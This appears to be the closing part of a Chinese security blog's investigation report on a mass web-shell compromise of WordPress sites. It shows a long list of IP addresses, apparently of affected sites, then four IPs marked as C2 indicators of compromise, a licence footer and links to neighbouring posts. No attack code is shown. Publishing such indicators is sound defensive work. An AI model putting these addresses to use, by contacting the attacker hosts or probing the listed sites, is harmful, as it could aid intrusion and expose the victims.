45.252.248.22
45.252.249.178
45.252.250.110
45.32.102.160
45.32.104.79
45.32.122.176
45.32.144.105
45.32.174.210
45.32.189.199
45.32.21.250
45.32.226.48
45.33.30.174
45.40.134.20
45.40.166.136
45.55.233.33
45.55.34.87
45.55.44.142
45.55.54.211
45.55.82.44
45.63.13.253
45.63.66.83
45.63.94.189
45.63.95.251
45.64.1.185
45.76.148.27
45.76.185.246
45.76.187.56
45.76.214.7
45.76.238.132
45.76.58.96
45.77.172.164
45.77.192.32
45.77.21.201
45.77.240.133
45.77.245.43
45.77.252.192
45.77.39.187
45.77.67.248
45.77.70.211
45.79.18.22
46.101.103.239
46.101.126.38
46.101.133.188
46.101.135.68
46.101.142.238
46.101.167.70
46.101.197.131
46.101.201.249
46.101.202.232
46.101.218.231
46.101.221.138
46.101.227.12
46.101.41.101
46.101.44.142
46.101.47.26
46.101.48.150
46.101.48.37
46.101.55.108
46.101.58.32
46.101.63.219
46.101.79.108
46.105.115.15
46.105.88.144
46.164.141.55
46.20.146.43
46.21.198.180
46.229.212.9
46.238.232.2
46.37.172.123
46.37.189.146
46.4.213.154
46.4.39.144
46.41.151.198
46.45.143.35
46.8.220.126
47.100.235.46
47.111.83.2
47.95.195.212
49.205.180.120
49.234.17.130
49.249.237.226
49.50.249.40
5.134.10.10
5.135.105.44
5.135.129.180
5.135.148.194
5.135.248.140
5.144.130.15
5.189.138.249
5.189.153.245
5.189.174.74
5.189.176.110
5.189.188.176
5.196.11.146
5.196.204.173
5.196.65.74
5.196.88.224
5.200.53.6
5.63.155.84
5.9.137.126
5.9.65.247
50.112.60.54
50.116.105.207
50.116.116.244
50.62.22.114
50.62.56.20
50.62.57.208
50.63.156.132
51.15.196.145
51.15.242.148
51.159.16.23
51.254.118.248
51.254.121.129
51.254.203.74
51.254.210.44
51.254.90.193
51.254.98.35
51.255.81.102
51.255.83.71
51.255.85.119
51.38.177.31
51.38.230.224
51.38.36.15
51.38.82.113
51.68.11.231
51.68.225.229
51.68.228.13
51.68.46.70
51.68.47.222
51.75.121.21
51.75.194.169
51.75.200.17
51.75.201.142
51.75.254.118
51.77.108.132
51.77.152.45
51.77.193.28
51.83.82.50
51.89.155.5
51.89.20.191
51.89.20.192
51.89.7.30
51.91.19.92
52.15.52.143
52.176.91.137
52.2.139.217
52.2.234.197
52.211.219.15
52.212.214.209
52.212.235.158
52.214.63.23
52.231.69.162
52.237.132.31
52.24.143.120
52.28.62.31
52.43.249.59
52.47.147.36
52.5.186.244
52.56.75.136
52.57.142.92
52.60.121.248
52.67.133.128
52.76.222.0
54.156.229.34
54.165.117.155
54.173.244.13
54.180.83.115
54.213.102.36
54.219.237.58
54.233.144.106
54.233.87.178
54.241.188.22
54.243.242.89
54.251.141.82
54.255.223.153
54.36.172.181
54.36.53.7
54.36.99.194
54.37.121.239
54.37.137.33
54.37.36.124
54.38.49.228
54.39.148.97
54.39.196.33
54.39.21.207
54.39.47.26
54.85.193.151
54.85.84.53
54.91.77.206
54.93.198.63
58.211.82.93
58.96.89.121
58.97.8.10
59.125.214.115
60.249.179.122
60.43.243.189
61.41.4.26
61.47.40.39
62.113.230.83
62.116.165.86
62.122.137.150
62.20.84.56
62.210.113.223
62.210.113.228
62.210.129.106
62.210.148.238
62.210.185.4
62.210.214.118
62.210.214.7
62.210.9.67
62.210.99.93
62.212.130.211
62.219.78.154
62.219.78.156
62.219.78.159
62.220.96.102
62.221.197.214
62.75.138.113
63.175.159.27
63.75.167.91
64.111.110.41
64.111.117.197
64.111.126.250
64.147.114.15
64.156.26.211
64.202.185.111
64.90.36.105
64.91.242.121
64.91.242.27
66.175.222.169
66.206.23.42
66.23.233.59
66.33.212.11
66.42.38.173
66.42.63.215
66.42.69.87
66.45.245.146
66.64.43.162
66.70.186.233
66.70.191.84
67.158.54.243
67.205.10.15
67.205.11.86
67.205.138.72
67.205.140.232
67.205.145.165
67.205.157.56
67.205.158.239
67.205.169.2
67.205.181.182
67.209.114.118
67.211.213.120
67.213.72.3
67.225.139.208
67.227.236.96
67.227.237.176
67.23.238.162
68.183.129.196
68.183.134.90
68.183.165.78
68.183.167.60
68.183.176.185
68.183.182.160
68.183.182.43
68.183.183.174
68.183.184.231
68.183.184.69
68.183.184.78
68.183.188.177
68.183.188.180
68.183.196.199
68.183.211.45
68.183.224.45
68.183.230.27
68.183.230.5
68.183.233.74
68.183.33.7
68.183.72.245
68.183.76.179
68.183.80.165
68.183.81.132
68.183.88.87
68.183.94.110
69.163.152.131
69.163.152.137
69.163.224.108
69.175.75.86
69.64.34.208
69.64.83.37
70.77.238.17
71.163.1.122
71.185.55.185
71.188.108.35
72.128.132.6
72.52.169.207
74.208.145.37
74.208.156.171
74.208.211.90
74.208.239.45
74.208.244.18
75.119.200.115
75.8.213.252
77.221.147.12
77.245.149.38
77.245.149.64
77.246.188.101
77.68.20.155
77.81.121.157
77.88.87.74
78.108.216.156
78.108.34.9
78.142.210.210
78.155.206.55
78.157.210.66
78.46.55.205
78.46.89.66
78.46.97.217
78.46.97.240
79.137.38.108
79.143.181.197
79.143.181.49
79.98.108.115
8.9.37.28
80.191.140.42
80.211.104.210
80.211.189.126
80.211.52.74
80.241.141.37
80.241.218.2
80.244.184.168
80.48.183.178
81.169.128.157
81.169.196.253
81.31.41.70
81.46.200.250
81.90.180.144
81.95.125.200
82.146.152.108
82.146.38.63
82.165.161.17
82.220.37.159
82.220.37.30
82.223.111.49
82.223.21.191
82.223.21.77
82.223.39.243
82.223.97.43
82.68.10.194
85.120.166.136
85.124.3.6
85.195.93.251
86.110.226.170
86.57.163.105
87.106.152.199
87.106.20.234
88.135.38.198
88.191.45.2
88.198.196.71
88.198.21.136
88.198.22.43
88.208.28.48
88.99.171.92
88.99.217.117
89.107.70.188
89.111.179.80
89.111.20.2
89.111.35.28
89.163.146.194
89.184.155.89
89.184.77.217
89.22.102.60
89.252.151.219
89.252.178.138
89.252.184.54
89.35.39.126
89.35.7.226
89.36.151.134
89.44.32.18
90.148.193.235
91.109.201.228
91.121.112.70
91.121.115.100
91.121.164.129
91.121.71.183
91.134.248.211
91.134.248.230
91.134.248.235
91.185.198.219
91.185.212.110
91.192.224.186
91.203.73.180
91.205.172.43
91.208.99.2
91.209.70.223
91.211.247.201
91.213.46.238
91.234.194.246
91.240.86.82
91.241.48.251
91.247.228.190
91.247.228.3
91.82.84.238
91.90.192.56
92.222.170.145
92.222.35.94
92.249.219.108
92.60.224.56
92.60.38.183
93.114.234.224
93.84.117.222
94.101.95.75
94.126.168.66
94.127.188.209
94.130.80.70
94.136.160.62
94.177.191.63
94.182.227.98
94.199.51.166
94.23.216.91
94.23.248.69
94.23.38.46
94.23.50.54
94.237.73.167
94.52.41.79
95.110.167.67
95.110.200.187
95.110.207.17
95.129.40.125
95.153.30.172
95.163.121.78
95.173.160.84
95.211.213.199
95.216.106.100
95.216.64.168
95.85.28.28
96.30.193.114
96.45.178.13
97.74.229.105
97.74.232.69
97.74.237.173
99.80.194.212

IOC【C2】

193.57.40.41
45.227.253.226
45.227.253.227
45.227.253.234


本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!
本文地址:https://0x20h.com/p/bf2f.html
Sp4ce's Blog 5W WordPress站点被shell事件调查报告

 上一篇
2019年CISCN(全国大学生信息安全竞赛)华南赛区wp 2019年CISCN(全国大学生信息安全竞赛)华南赛区wp
全国大学生信息安全竞赛 华南赛区半决赛 部分web题writeup 注意 题目是在Fix It环境拷下来的,写writeup时的环境是自己搭的 有些题目忘记拷贝数据库,各位大佬凑活看吧 题目的GitHub仓库:https://githu
2019-08-10
下一篇 
CVE-2019-13272 复现&注意事项 CVE-2019-13272 复现&注意事项
记录下CVE-2019-13272复现和注意事项 复现 OS: Ubuntu 18.04 Kernel: 4.18.0-15-generic 步骤 下载CVE-2019-13272POC:https://github.com/bcol
2019-07-27
  目录